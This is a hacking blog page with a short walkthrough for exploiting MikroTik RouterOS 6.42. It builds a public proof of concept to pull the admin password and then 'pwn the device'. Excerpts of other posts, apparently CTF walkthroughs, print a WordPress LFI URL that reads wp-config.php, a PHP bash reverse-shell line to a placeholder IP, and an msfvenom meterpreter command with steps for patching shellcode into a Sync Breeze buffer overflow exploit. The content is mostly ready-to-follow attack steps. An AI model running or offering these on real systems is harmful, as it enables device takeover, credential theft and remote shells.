Hacking Walkthrough: MicroTik RouterOS - MikroTik 6.42

Exploit : https://www.exploit-db.com/exploits/45578

Goal: all you need to get is the password from this exploit, the username is 'admin'

Do the following:

  • git clone https://github.com/tenable/routeros 
  • cd routeros/poc/bytheway/
  • mkdir build
  • cd build
  • cmake ..
  • make
  • ./btw -i target-ip
  • You will get a the password from the exploit password.
  • Connect to the target using ftp/telnet/ssh 
  • Pwn the device
 
 
 Happy hacking
 

 

Comments

Post a Comment

Popular posts from this blog

Hacking walkthrough: Cacti 1.2.8 exploit Ubuntu 18.04.3 LTS [RCE] [PE]

 This is a CTF (hacking lab) I tried . Its interesting and there are many ways to solve it or even to customize this CTF box. I dont know if you have seen it somewhere, I haven't so I had to do some researching. Im sure if there are/will-be similar others,they (will) share something in common which is  Cacti 1.2.8.   Web application:  Cacti 1.2.8 Server: Linux 4.15.0-88-generic Ubuntu 18.04.3 LTS Vulnerability:  CVE-2020-8813 Exploits:   48144 & 48145 . Use the one that fits the box situation which is normally in case of CTFs  48145 (Unauthenticated exploit) Vulnerability and Exploits documentation: https://shells.systems/cacti-v1-2-8-authenticated-remote-code-execution-cve-2020-8813/     First of all, in this box I had to change the payload, because netcat didn't work, so I had to do some experimenting with other reverse shells with no luck . So i thought to test the connecti...
Read more

Hacking Wakthrough : Linux version 3.10.0-123.el7.x86_64 / Wordpress 4.7.2

Server Operating system : Linux version 3.10.0-123.el7.x86_64 Hosted Web application : Wordpress 4.7.2  Vulnerabilities found:  Linux: https://www.exploit-db.com/exploits/35370 ( Local privilege escalation) Wordpress : https://www.exploit-db.com/exploits/39558 (Site import 1.0.1 plugin - LFI/RFI). There could be other vulnerable plugins   How to root the Linux server ? Type this url:  http://server-address/wp-content/plugins/site-import/admin/page.php?url=../../../../../../../../../../../../../../../../var/www/html/wp-config.php  View source this wp-config.php Find the database password. Use it to login the admin page. You need to figure out to find the name of the admin/user by using the tool wpscan : wpscan http://server-url  -e u Once inside wordpress, go to apperances/editor.  Copy this php reverse shell: inject <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ip-addrr/port 0>&1'"); ?> to one the p...
Read more

Hacking Wakthrough: Sync Breeze Enterprise v8.9.24

Software : Sync Breeze Enterprise v8.9.24 Exploit : https://www.exploit-db.com/exploits/40456 Operating system :  Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1) Follow these Steps: Download 40456.py Run the command : m sfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=your-ip LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\x0d\x26' -f python --smallest A payload will be generated (my payload size is 310) Copy the payload and replace the payload that's in the python script.Payload starts at line 28 with : buf = "" If your payload has buf = b"" buf += b"\xd9\xed\xd9\x74\x24\xf4\xbb\x9c\x69\xcd\x48\x5d\x29" ! remove the letter "b" and make it look just like the exploit Go to this line: "\x41" * 12292 #subtract/add for payload The script payload is 308 ( #payload size 308 ) so mine is 2 bytes more.  If your payload is 2 or more subtract 2 from 12292 ( 12292 - ...
Read more